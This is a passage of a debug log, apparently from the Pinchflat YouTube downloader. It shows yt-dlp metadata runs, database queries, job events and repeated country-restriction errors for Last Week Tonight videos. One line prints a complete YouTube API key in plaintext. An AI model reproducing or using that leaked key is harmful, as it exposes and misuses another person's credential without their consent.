McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:27:33.113 [error] Error creating media item '73iQpsIE0i8' from URL: {:error, "ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:27:33.113 [debug] QUERY OK source="settings" db=0.1ms idle=245.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:33.113 [debug] QUERY OK source="settings" db=0.0ms idle=235.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:33.113 [debug] Running yt-dlp command for action: get_media_attributes 17:27:33.115 [debug] QUERY OK source="settings" db=0.0ms idle=236.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:33.115 [debug] QUERY OK source="settings" db=0.0ms idle=236.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:33.115 [debug] QUERY OK source="settings" db=0.0ms idle=236.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:33.115 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/62/6b/626b8e3c89f7b0d3888e31123311408537e086a68468155143c8c5b28057d71d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:27:35.259 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/62/6b/626b8e3c89f7b0d3888e31123311408537e086a68468155143c8c5b28057d71d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:27:35.259 [error] Error creating media item '9iZK_DurYOo' from URL: {:error, "ERROR: [youtube] 9iZK_DurYOo: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:27:35.259 [debug] QUERY OK source="settings" db=0.1ms idle=389.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:35.259 [debug] QUERY OK source="settings" db=0.0ms idle=381.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:35.259 [debug] Running yt-dlp command for action: get_media_attributes 17:27:35.270 [debug] QUERY OK source="settings" db=0.0ms idle=391.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:35.270 [debug] QUERY OK source="settings" db=0.0ms idle=392.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:35.270 [debug] QUERY OK source="settings" db=0.0ms idle=392.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:35.270 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/68/54/68544642f882b9e9228c20ef918b58f832319f05dde691cae8cd2d2228410558.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:27:36.772 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=NtHZ7IR88dg --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/68/54/68544642f882b9e9228c20ef918b58f832319f05dde691cae8cd2d2228410558.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:27:36.772 [error] Error creating media item 'NtHZ7IR88dg' from URL: {:error, "ERROR: [youtube] NtHZ7IR88dg: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:27:36.774 [debug] QUERY OK source="media_items" db=1.6ms idle=1512.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 17:27:36.775 [debug] QUERY OK source="tasks" db=0.1ms idle=1504.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800220, 6, ~U[2026-02-10 23:27:36Z], ~U[2026-02-10 23:27:36Z]] 17:27:36.775 [info] {"args":{"id":6},"id":3800181,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":9907405,"event":"job:stop","queue_time":47372,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:39.881 [info] {"args":{"id":23},"id":3800182,"meta":{},"system_time":1770766059881874577,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:27:39.882 [debug] QUERY OK source="sources" db=0.2ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [23] 17:27:39.882 [debug] QUERY OK source="settings" db=0.1ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:39.882 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:27:39.882 [debug] QUERY OK source="settings" db=0.0ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:39.882 [debug] Fetching recent media IDs from YouTube API for playlist: UU0e3QhIYukixgh5VVpKHH9Q 17:27:39.883 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:27:39.883 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:27:40.006 [debug] QUERY OK source="media_items" db=0.6ms idle=123.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [23, "kWFOeEB1qcI", "oLF_mxPfL0I", "2YdPIB7wVFk", "ehAStJmx_Fo", "wesICmc48UE", "t92i8HsHKmA", "AhqqnIvtCiw", "bt8BwJs2JWI", "EFaqLSDJh-s", "SCUu4xlZZgc", "8VrI0j3jXJ8", "QnMxWMpUpTo", "k2wddOfXMqY", "serCiKj8ze8", "eX8gUvcWwDc", "GfPmOqlxGfk", "eouZtZL_59U", "S_-YdPM_iiQ", "HbrC4U3oN38", "1f-rdFBrQE0", "rba0WnXY3_w", "hEapzP-_QlM", "AGO8Tn0g0qQ", "WYMAL4Ch6oQ", "25ctC3HDSnM", "CI8fbAiug3k", "I7vOcJcCSso", "RtzS0T6toww", "sWZJ6kRNw4g", "djIufZ7Fyms", "tn_SdPx3nyE", "QbwgQSwMSGM", "JPv5FWCYdXc", "g39AagVW0s0", "HMKKPMSuo08", "ZpsJkhk9uBM", "jIseIpxnKUM", "XzJ2qK5DX18", "a7mNUTslJNA", "ovIykchkW5I", "9amJuvb3grU", "qvpXpCvkqbc", "DmQ4Dqxs0HI", "ldaescGA1dY", "kzEHFuVeYS4", "D5xX6nRWDko", "XRVA5PMSKKE", "os4DcbpL0Nc", "QOJfyp0KMmM", ...] 17:27:40.007 [debug] QUERY OK source="media_items" db=0.2ms idle=124.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", 